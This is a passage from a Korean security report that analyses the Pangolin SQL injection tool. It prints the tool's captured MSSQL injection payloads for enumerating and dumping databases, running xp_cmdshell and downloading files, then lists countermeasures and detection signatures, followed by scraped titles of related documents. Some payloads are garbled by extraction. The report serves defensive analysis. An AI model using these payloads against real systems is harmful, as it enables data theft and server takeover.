으로채우고있다. */ and 1=1 and (SELECT TOP 1 ISNULL(LEN(id),0) FROM (Select TOP 1 id from kyu..users ORDER BY id) sub ORDER BY id DESC)> and 1=1 and (SELECT TOP 1 ISNULL(LEN(level),0) FROM (Select TOP 1 level from kyu..users ORDER BY level) sub ORDER BY level DESC)> and 1=1 and (SELECT TOP 1 ascii(substring(isnull(cast(id as varchar),char(48)),1,1)) FROM (Select TOP 1 id from kyu..users ORDER BY id) sub ORDER BY id DESC)> and 1=1 and (SELECT TOP 1 ISNULL(LEN(level),0) FROM (Select TOP 1 level from kyu..users ORDER BY level) sub ORDER BY level DESC)> /* 최종적인 Brute Force가끝나게되면 200 메시지가떨어지면서해당테이블의콘텐츠를모두가지고오게된다.

22 3.3 Pangolin What is an Pangolin Pangolin 은철갑산이라는이름으로온몸이갑주형식으로되어있는동물이다. 아르마딜로와비슷한형태의동물로써 Pangolin 의정보는네이버에서철갑산동물에관한정보만보여주도록아직까지미비하다. securityplus 에올라와있는 정보를토대로간략하게소개하겠다.Pangolin v 은윈도우즈용 SQL Injection Tool 이다. 이툴은아래의사진 과같이 HTTPS support, Pre-Login, Proxy, Specify any HTTP headers(user-agent, Cookie, Referer 등등), Bypass firewall setting, Auto-analyzing keyword,detailed check option,injection-point manage 가있다. 지원하는 DBMS로는아래에보다시피 MSSQL, Oracle, MySQL, Sybase, DB2, Access, Informix, PostgreSQL, Sqllite 가있다. 사실상 MSSQL 이가장효용적이고나머지는테스트를해보지못해정확히말하기어렵다.

23 3.3.2 attack code to website 다음과같은내용은 MSSQL 테스트베드를이용몇가지기능을직접테스트한것입니다. /* check 버튼을눌러해당 URL 에처음공격을하는구문 */ union all select null-- and 1=1 pangolin/ union all select null,null-- and 1=1 pangolin/

24 union all select null,null,null-- and 1=1 pangolin/ union all select null,null,null,null-- and 1=1 pangolin/ and 1=2 union all select cast(0x as varchar(8000)),null,null,null-- and 1=1 pangolin/ and 1=2 union all select null,cast(0x as varchar(8000)),null,null-- and 1=1 pangolin/ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char( 94+char(94),null,null -- and 1=1 pangolin/ /* version Information 수집하기위한쿼리 */ and 1=2 union all select as nvarchar(4000))+char(94)+ ch ar(94)+char(94),null,null -- and 1=1 pangolin/ /* Db name Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(db_name() as nvarchar(4000))+char(94)+char (94)+char(94),null,null -- and 1=1 pangolin/ /* Server name Information 수집하기위한쿼리 */ and 1=2 union all select as nvarchar(4000))+char(94) +char(94)+char(94),null,null -- and 1=1 pangolin/ /* System User Information 수집하기위한쿼리 */

25 and 1=2 union all select null,char(94)+char(94)+char(94)+cast(system_user as nvarchar(4000))+char(94)+ char(94)+char(94),null,null -- and 1=1 pangolin/ /* Current User Information 수집하기위한쿼리 */ and 1=2 union all select +char(94),null,null -- and 1=1 pangolin/ null,char(94)+char(94)+char(94)+cast(user as nvarchar(4000))+char(94)+char(94) /* Privilege Information 수집하기위한쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(is_srvrolemember(0x d e00) as nvarchar(4000))+char(94)+char(94)+char(94),null,null -- and 1=1 pangolin/ /* DataBase Information 수집하기위한쿼리 */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94 )+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 dbid,name,filename from (select top 1) t order by 1 desc)t-- and 1=1 pangolin/ from (select 1 dbid,name,filename from [master].[dbo].[sysdatabases] order by and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(9 4)+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 dbid,name,filename from (select top 1) t order by 1 desc)t-- and 1=1 pangolin/ from (select 2 dbid,name,filename from [master].[dbo].[sysdatabases] order by and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] asnvarchar(4000))+char(94) +cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 dbid,name,filename from (select top by 1) t order by 1 desc)t-- and 1=1 pangolin/ dbid,name,filename from [master].[dbo].[sysdatabases] order /* Drivers Information 수집하기위한쿼리 */ ;drop table foofoofoo;-- and 1=1 pangolin/ ;create table foofoofoo(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));-- and 1=1 pangolin/ ;insert foofoofoo exec master.dbo.xp_availablemedia;-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94 )+cast([type] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select top 1 * from foofoofoo order by [name] group by name) t order by [name] desc)t-- and 1=1 pangolin/ ;drop table foofoofoo;-- and 1=1 pangolin/ /* LocalGroups Information 수집하기위한쿼리 */ ;drop table foofoofoo;-- and 1=1 pangolin/ ;create table foofoofoo(name nvarchar(255),description nvarchar(4000));-- and 1=1 pangolin/ ;insert foofoofoo exec master.dbo.xp_enumgroups;-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast([name] asnvarchar(4000))+char(94) +cast([description] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null top 1 * from (select top and 1=1 pangolin/ ;drop table foofoofoo;-- and 1=1 pangolin/ from (select 1 * from foofoofoo order by [name] group by name) t order by [name] desc)t--

26 /* DATA -> TABLE 추적쿼리 */ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from [kyu]..[sysobjects] where xtype=char(85) and status%3e0-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(256)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 id,name from (select top 1 id,name from [kyu]..[sysobjects] where xtype=char(85) and status%3e0 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(256)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 id,name from (select top 2 id,name from [kyu]..[sysobjects] where xtype=char(85) and status%3e0 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ /* DATA -> Columns 추적 */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(id as nvarchar(20)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null -- and 1=1 pangolin/ from [kyu]..[sysobjects] where name=0x63006d and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(10)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null 1=1 pangolin/ from [kyu]..[syscolumns] where id= and and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(8000)) as

27 nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 colid,name from (select top 1 colid,name from [kyu]..[syscolumns] where id= order by 1) t order by 1 desc)t-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(name as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 colid,name from (select top 2 colid,name from [kyu]..[syscolumns] where id= order by 1) t order by 1 desc)t-- and 1=1 pangolin/ /* table 내에행과열을추적하여얻어옴. */ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(cmd as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 cmd from (select top 26 cmd from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(corps as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 corps from (select top 26 corps from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(div as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 div from (select top 26 div from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(cast(idx as varchar) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 idx from (select top 27 idx from [kyu]..[cmd] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/

28 /* xp_cmd procedure 공격 */ ;create table [foofoofoo]([resulttxt] nvarchar(4000) null);-- and 1=1 pangolin/ nvarchar(4000) insert into [foofoofoo](resulttxt) exec table [foofoofoo] add id int not null identity (1,1)-- and 1=1 pangolin/ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(count(*) as nvarchar(4000))+char(94)+char(94 )+char(94),null,null from [kyu]..[foofoofoo]-- and 1=1 pangolin/ and 1=2 union all select top 1 null,char(94)+char(94)+char(94)+cast(resulttxt as nvarchar(4000))+char(94)+c har(94),null,null from (select top 1 id,resulttxt from (select top 1 id,resulttxt from [kyu]..[foofoofoo] where 1=1 order by 1) t order by 1 desc)t-- and 1=1 pangolin/ ;drop table [foofoofoo];-- and 1=1 pangolin/ /* MSSQL Dir Tree 공격을위한쿼리 */ ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and 1=1 pangolin/ nvarchar(4000) insert foofoofoo execute and 1=1 pangolin/ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast(count(*) as varchar(8000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from foofoofoo-- and 1=1 pangolin/ and 1=2 union all select null,char(94)+char(94)+char(94)+cast(cast([isfile] as nvarchar(4000))+char(94)+cas t([name] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null from (select top 1 * from (select distinct top 1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc) t----

29 and 1=1 pangolin/ ;drop table foofoofoo;-- and 1=1 pangolin/ /* Download 공격을위한쿼리 */ int exec sp_oacreate output = = exec output [adodb.stream],@down ;-- and 1=1 pangolin/

30 4. comprehensive countermeasures against the tool 대응방법은서버사이트스크립트안에서 SQL injection 에대한구문에예외처리를해주는것이가장좋은방법이다. 간단하게인터넷에서싱글쿼터나세미콜론등의특수기호를예외처리해주면대부분의인젝션공격을막을수있고 저장프로시저의권한을최소화하여야한다. 특정한기업이나그룹에서 IDS나 IPS, 웹방화벽을이용하고이것을이용해서막아야한다면기존에장비에서제공해주는 것만으로는부족하고관리자가지속적인관심을가지면서특정한 signature match 가필요하다. 어짜피이런장비들은 오탐을피해갈수없기때문에지속적인관심이필요하다. 앞에소개한 SQL injection tool의경우 sysadmin 권한이나 sysobject 테이블에대한접근을확인하게되어있다. 이에대한차단정책(IPS) 을세우고웹방화벽을통해서주요에러 메시지(304,404,500) 는접근제한페이지로 redirect 시키면 DB 정보를수집하는어려워질뿐만아니라 SQL injection 을하는데상당한어려움이있을것이다. 해당툴에대한 IS_SRVROLEMEMBER sp_makewebtask xp_availablemedia xp_cmdshell xp_dirtree signature 를뽑아보라면아래와같다. NBSI MatriXay Pangolin select, and 1=1, union all, system procedure 등등 pangolin(user-agent 부분에 pangoli 다음과같은특정한함수들을사용 substring substr SUBSTRING information_schema.tables information_schema.columns ISNULL isnull sp_oacreate 하지만이런 signature match 의경우문제가많이발생한다. 웹서버는자동으로 URL을디코딩을하고 DB는대소문자를 구분하지않는다는문제가있다. 방립동님께서보여주신좋은예가있다. n 을표시하기때문에. 하지만변경할 수있음.) foofoofoo( 이테이블을생성함.) xp_availablemedia xp_cmdshell xp_dirtree < 방립동님문서중에일부분발췌> 그래서패턴매칭의경우수만가지가나올수있다는것을명심하고변수와데이터베이스컬럼을정의하고 Query의결과 로반환되는변수의형(type) 을정의하고문자열의데이터길이를제한하고적절한오류처리가필요하다. 어떤공격이나 그러하겠지만 sql injection 공격은짧은시간에많은변화를이룩했던것같습니다. 그런만큼많은정보를읽고공부하면 서대응하는방법의자세로임해야될것같습니다. 많은도움주신분들게감사합니다.

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc Asp Mssql Sql Injection Tool 분석보고서 이재곤 (x0saver@gmail.com) SK Infosec Co., Inc MSS 사업본부 / 침해대응센터모의해킹파트 Table of Contents 1. 개요... 3 2. 구성... 3 3. 분석... 4 3.1. 기능분석... 4 4. 공격원리...14 4.1 기본공격원리...14 4.2

More information

문서 템플릿

문서 템플릿 HDSI 툴분석 [sql injection 기술명세서 ] Sql injection 기술명세서 Ver. 0.01 이문서는 sql injection 기술명세가범위입니다. Copyrights Copyright 2009 by CanvasTeam@SpeeDroot( 장경칩 ) All Rights Reserved. 장경칩의사전승인없이본내용의전부또는일부에대한복사, 전재,

More information

제목 레이아웃

제목 레이아웃 웹해킹이라고무시하는것들보소 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM SQL Injection 끝나지않은위협 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ wargame @kr_rubiya

More information

Microsoft Word - Mass SQL Injection_v.1.3._.doc

Microsoft Word - Mass SQL Injection_v.1.3._.doc Mass SQL Injection by visu4l ( kchclub3@wowhacker.org ) Table of Contents 1st. 개요 1. 배경 2. 공격대상시스템 3. 소개 2nd. 공격형태 1. 공격쿼리 2. 로그분석 3. 공격형태도식화 3rd. 공격피해사이트확인 4th. 대응 1. 사전대응 2. 사후대응 3. IDS/IPS 탐지 4. 사용자대응

More information

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc 분석보고서 이동현 (dhclub20@naver.com) SK Infosec Co., Inc MSS 사업본부침해대응팀모의해킹파트 Table of Contents 1. 개요... 3 1.1. 배경... 3 1.2. 목적... 3 2. 공격분석... 4 2.1. Cookie Injection... 4 2.2. Cookie Injection의발생원인... 5 2.3.

More information

Microsoft PowerPoint - 10Àå.ppt

Microsoft PowerPoint - 10Àå.ppt 10 장. DB 서버구축및운영 DBMS 의개념과용어를익힌다. 간단한 SQL 문법을학습한다. MySQL 서버를설치 / 운영한다. 관련용어 데이터 : 자료 테이블 : 데이터를표형식으로표현 레코드 : 테이블의행 필드또는컬럼 : 테이블의열 필드명 : 각필드의이름 데이터타입 : 각필드에입력할값의형식 학번이름주소연락처 관련용어 DB : 테이블의집합 DBMS : DB 들을관리하는소프트웨어

More information

Microsoft Word - Blind Sql Injection.doc

Microsoft Word - Blind Sql Injection.doc Blind Sql Injection MySQL 5.0 본문서는배포는누구나마음대로수정및배포하실수있습니다. 테스트환경 : MySQL 5.3, PHP 5.2 - 방립동 - 개요. MySQL 이 3.0 버전에서 4.0 버전으로업그레이되되면서 UNION 절을사용할수있게되었습니다. 따라서 UNION을이용한공격방법이소개되었죠. 또한블라인드인젝션기법을이용한공격방법이문서나,

More information

DBMS & SQL Server Installation Database Laboratory

DBMS & SQL Server Installation Database Laboratory DBMS & 조교 _ 최윤영 } 데이터베이스연구실 (1314 호 ) } 문의사항은 cyy@hallym.ac.kr } 과제제출은 dbcyy1@gmail.com } 수업공지사항및자료는모두홈페이지에서확인 } dblab.hallym.ac.kr } 홈페이지 ID: 학번 } 홈페이지 PW:s123 2 차례 } } 설치전점검사항 } 설치단계별설명 3 Hallym Univ.

More information

MySQL-.. 1

MySQL-.. 1 MySQL- 기초 1 Jinseog Kim Dongguk University jinseog.kim@gmail.com 2017-08-25 Jinseog Kim Dongguk University jinseog.kim@gmail.com MySQL-기초 1 2017-08-25 1 / 18 SQL의 기초 SQL은 아래의 용도로 구성됨 데이터정의 언어(Data definition

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins Project 1-3: Implementing DML Due: 2015/11/11 (Wed), 11:59 PM 이번프로젝트의목표는프로젝트 1-1 및프로젝트 1-2에서구현한프로그램에기능을추가하여간단한 DML을처리할수있도록하는것이다. 구현한프로그램은 3개의 DML 구문 (insert, delete, select) 을처리할수있어야한다. 테이블데이터는파일에저장되어프로그램이종료되어도사라지지않아야한다.

More information

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345])

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345]) Contents I. 최신보안사고사례 II. III. IV. 자동화된패키지공격유형 분산서비스거부공격 사회공학적기법과기술적공격유형 V. 대응방안 2 들어가기전 웹해킹? 웹서버에서실행중인어플리케이션의취약점을공격하는해킹의일종 WEB + HACKING = WEB HACKING - 80 포트, 443 포트, 8080 포트등웹서비스를지원하는포트를이용한공격 Operation

More information

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc SKInfosec-Tech-005 China Bot( 가칭 ) 악성코드분석 한상흠, 황교국 (m4gichack@gmail.com, fullc0de@gmail.com) SK Infosec Co., Inc MSS 사업본부침해대응팀 Table of Contents 1. 개요...3 2. MSSQL2005 취약점...4 3. 악성코드분석...7 3.1. 0.js...8

More information

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE ALTIBASE HDB 6.3.1.10.1 Patch Notes 목차 BUG-45710 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG-45730 ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG-45760 ROLLUP/CUBE 절을포함하는질의는 SUBQUERY REMOVAL 변환을수행하지않도록수정합니다....

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

PowerPoint Template

PowerPoint Template 설치및실행방법 Jaewoo Shim Jun. 4. 2018 Contents SQL 인젝션이란 WebGoat 설치방법 실습 과제 2 SQL 인젝션이란 데이터베이스와연동된웹서버에입력값을전달시악의적동작을수행하는쿼리문을삽입하여공격을수행 SELECT * FROM users WHERE id= $_POST[ id ] AND pw= $_POST[ pw ] Internet

More information

Cloud Friendly System Architecture

Cloud Friendly System Architecture -Service Clients Administrator 1. -Service 구성도 : ( 좌측참고 ) LB(LoadBlancer) 2. -Service 개요 ucloud Virtual Router F/W Monitoring 개념 특징 적용가능분야 Server, WAS, DB 로구성되어 web service 를클라우드환경에서제공하기위한 service architecture

More information

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 ALTIBASE HDB 6.5.1.5.10 Patch Notes 목차 BUG-46183 DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG-46249 [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 BUG-46266 [sm]

More information

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역 WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역시쉽게해결할수있다. 이번화이트페이퍼에서는 Window Function 중순위 RANK, ROW_NUMBER,

More information

10.ppt

10.ppt : SQL. SQL Plus. JDBC. SQL >> SQL create table : CREATE TABLE ( ( ), ( ),.. ) SQL >> SQL create table : id username dept birth email id username dept birth email CREATE TABLE member ( id NUMBER NOT NULL

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

쉽게 풀어쓴 C 프로그래밊

쉽게 풀어쓴 C 프로그래밊 Power Java 제 27 장데이터베이스 프로그래밍 이번장에서학습할내용 자바와데이터베이스 데이터베이스의기초 SQL JDBC 를이용한프로그래밍 변경가능한결과집합 자바를통하여데이터베이스를사용하는방법을학습합니다. 자바와데이터베이스 JDBC(Java Database Connectivity) 는자바 API 의하나로서데이터베이스에연결하여서데이터베이스안의데이터에대하여검색하고데이터를변경할수있게한다.

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

90

90 89 3 차원공간질의를위한효율적인위상학적데이터모델의검증 Validation of Efficient Topological Data Model for 3D Spatial Queries Seokho Lee Jiyeong Lee 요약 키워드 Abstract Keywords 90 91 92 93 94 95 96 -- 3D Brep adjacency_ordering DECLARE

More information

로거 자료실

로거 자료실 redirection 매뉴얼 ( 개발자용 ) V1.5 Copyright 2002-2014 BizSpring Inc. All Rights Reserved. 본문서에대한저작권은 비즈스프링 에있습니다. - 1 - 목차 01 HTTP 표준 redirect 사용... 3 1.1 HTTP 표준 redirect 예시... 3 1.2 redirect 현상이여러번일어날경우예시...

More information

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

PowerPoint Template

PowerPoint Template JavaScript 회원정보 입력양식만들기 HTML & JavaScript Contents 1. Form 객체 2. 일반적인입력양식 3. 선택입력양식 4. 회원정보입력양식만들기 2 Form 객체 Form 객체 입력양식의틀이되는 태그에접근할수있도록지원 Document 객체의하위에위치 속성들은모두 태그의속성들의정보에관련된것

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 MySQL - 명령어 1. 데이터베이스관련명령 2. 데이터베이스테이블관련명령 3. SQL 명령의일괄실행 4. 레코드관련명령 5. 데이터베이스백업및복원명령 1. 데이터베이스관련명령 데이터베이스접속명령 데이터베이스접속명령 mysql -u계정 -p비밀번호데이터베이스명 C: > mysql -ukdhong p1234 kdhong_db 데이터베이스생성명령 데이터베이스생성명령

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

ALTIBASE HDB Patch Notes

ALTIBASE HDB Patch Notes ALTIBASE HDB 6.5.1.5.6 Patch Notes 목차 BUG-45643 암호화컬럼의경우, 이중화환경에서 DDL 수행시 Replication HandShake 가실패하는문제가있어수정하였습니다... 4 BUG-45652 이중화에서 Active Server 와 Standby Server 의 List Partition 테이블의범위조건이다른경우에 Handshake

More information

<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770> 개 요 홈페이지 해킹 현황 및 사례 홈페이지 개발시 보안 취약점 및 대책 주요 애플리케이션 보안 대책 결 론 참고자료 [부록1] 개발 언어별 로그인 인증 프로세스 예제 [부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) [부록3] 개인정보의 기술적 관리적 보호조치 기준(안) [부록4] 웹 보안관련 주요 사이트 리스트 7000 6,478 6000 5000

More information

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용 Oracle hacking 작성자 : 임동현 (ddongsbrk@naver.com) 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용 Skill List 1. Oracle For Pentest 1. Find TNS Listener (Default 1521 port) (with nmap or amap) 2. Get the

More information

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터 Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터를사용자에게전송하게되며 Parsing 단계에서실행계획이생성된다. Bind 변수를사용하는 SQL

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

강의 개요

